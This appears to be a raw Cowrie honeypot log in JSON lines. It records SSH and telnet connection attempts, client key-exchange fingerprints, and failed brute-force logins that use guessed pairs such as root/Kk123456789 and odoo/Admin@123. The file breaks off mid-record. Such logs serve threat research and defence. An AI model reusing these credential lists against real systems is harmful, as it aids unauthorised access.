{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33300,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1bfce728626","protocol":"ssh","message":"New connection: 68.183.236.1:33300 (159.203.135.109:22) [session: d1bfce728626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:09.401255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:09.406358Z","src_ip":"68.183.236.1","session":"d1bfce728626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:09.643536Z","src_ip":"68.183.236.1","session":"d1bfce728626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.650068521499634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:10.469902Z","src_ip":"144.79.218.12","session":"5e8ac2fdf491","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"Admin@123","message":"login attempt [odoo/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:10.623131Z","src_ip":"68.183.236.1","session":"d1bfce728626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:11.861953Z","src_ip":"68.183.236.1","session":"d1bfce728626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":53650,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ac9194549b","protocol":"ssh","message":"New connection: 112.217.199.222:53650 (10.17.0.5:22) [session: c6ac9194549b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:15.372348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:15.376775Z","src_ip":"112.217.199.222","session":"c6ac9194549b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:15.585170Z","src_ip":"112.217.199.222","session":"c6ac9194549b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git2","password":"git2","message":"login attempt [git2/git2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:16.456038Z","src_ip":"112.217.199.222","session":"c6ac9194549b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:17.667567Z","src_ip":"112.217.199.222","session":"c6ac9194549b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3f5940cbb51","protocol":"telnet","message":"New connection: 144.79.218.12:60154 (10.17.0.5:23) [session: c3f5940cbb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:26.753456Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40154,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30321a0283a","protocol":"ssh","message":"New connection: 159.203.92.129:40154 (159.203.135.109:22) [session: e30321a0283a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:31.173549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:31.178391Z","src_ip":"159.203.92.129","session":"e30321a0283a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:31.185671Z","src_ip":"159.203.92.129","session":"e30321a0283a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:31.197055Z","src_ip":"159.203.92.129","session":"e30321a0283a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67291569709778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:31.229360Z","src_ip":"144.79.218.12","session":"c3e0949cb3da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:32.202928Z","src_ip":"159.203.92.129","session":"e30321a0283a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91039848327637,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:32.740615Z","src_ip":"144.79.218.12","session":"416fafdf5c84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8331024646759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:32.875577Z","src_ip":"144.79.218.12","session":"b150cda5e82f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.630595207214355,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:33.778088Z","src_ip":"144.79.218.12","session":"22f61b99a256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01761293411255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:35.507725Z","src_ip":"144.79.218.12","session":"e0727765230e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54262,"dst_ip":"10.17.0.5","dst_port":23,"session":"255cd65a530e","protocol":"telnet","message":"New connection: 144.79.218.12:54262 (10.17.0.5:23) [session: 255cd65a530e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:38.594882Z"}
{"eventid":"cowrie.session.closed","duration":37.27514839172363,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:38.933836Z","src_ip":"144.79.218.12","session":"60e25cd90de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37136,"dst_ip":"10.17.0.5","dst_port":23,"session":"8740a4ebab1b","protocol":"telnet","message":"New connection: 144.79.218.12:37136 (10.17.0.5:23) [session: 8740a4ebab1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:48.648443Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39918,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f892b75652","protocol":"telnet","message":"New connection: 144.79.218.12:39918 (10.17.0.5:23) [session: a1f892b75652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:50.477273Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":40800,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b7a44093282","protocol":"ssh","message":"New connection: 152.32.213.101:40800 (159.203.135.109:22) [session: 2b7a44093282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:52.123737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:52.127941Z","src_ip":"152.32.213.101","session":"2b7a44093282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:52.345315Z","src_ip":"152.32.213.101","session":"2b7a44093282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39920,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c07c5c7ec7","protocol":"telnet","message":"New connection: 144.79.218.12:39920 (10.17.0.5:23) [session: 77c07c5c7ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:52.386624Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kk123456789","message":"login attempt [root/Kk123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:53.248336Z","src_ip":"152.32.213.101","session":"2b7a44093282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:54.467485Z","src_ip":"152.32.213.101","session":"2b7a44093282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":42948,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b96b91ff40d","protocol":"ssh","message":"New connection: 91.134.240.52:42948 (159.203.135.109:22) [session: 5b96b91ff40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:58.197788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:58.209254Z","src_ip":"91.134.240.52","session":"5b96b91ff40d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:58.283025Z","src_ip":"91.134.240.52","session":"5b96b91ff40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65610408782959,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:58.409489Z","src_ip":"144.79.218.12","session":"c3f5940cbb51","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123456","message":"login attempt [test/test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:58.681318Z","src_ip":"91.134.240.52","session":"5b96b91ff40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:59.760516Z","src_ip":"91.134.240.52","session":"5b96b91ff40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.227.147","src_port":38602,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac33de8a21f4","protocol":"telnet","message":"New connection: 103.166.227.147:38602 (10.17.0.5:23) [session: ac33de8a21f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:02.740732Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35824,"dst_ip":"10.17.0.5","dst_port":23,"session":"4964c514371e","protocol":"telnet","message":"New connection: 144.79.218.12:35824 (10.17.0.5:23) [session: 4964c514371e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:03.062132Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35832,"dst_ip":"10.17.0.5","dst_port":23,"session":"960e2e8c757c","protocol":"telnet","message":"New connection: 144.79.218.12:35832 (10.17.0.5:23) [session: 960e2e8c757c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:04.886642Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":36920,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8749924ecf2","protocol":"ssh","message":"New connection: 68.183.236.1:36920 (159.203.135.109:22) [session: e8749924ecf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:09.327178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:09.332549Z","src_ip":"68.183.236.1","session":"e8749924ecf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:09.578693Z","src_ip":"68.183.236.1","session":"e8749924ecf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.417375326156616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:10.012137Z","src_ip":"144.79.218.12","session":"255cd65a530e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminserver","message":"login attempt [root/adminserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:10.591553Z","src_ip":"68.183.236.1","session":"e8749924ecf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:11.839589Z","src_ip":"68.183.236.1","session":"e8749924ecf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33036,"dst_ip":"159.203.135.109","dst_port":22,"session":"113058140cdc","protocol":"ssh","message":"New connection: 159.203.92.129:33036 (159.203.135.109:22) [session: 113058140cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:14.348950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:14.353798Z","src_ip":"159.203.92.129","session":"113058140cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-d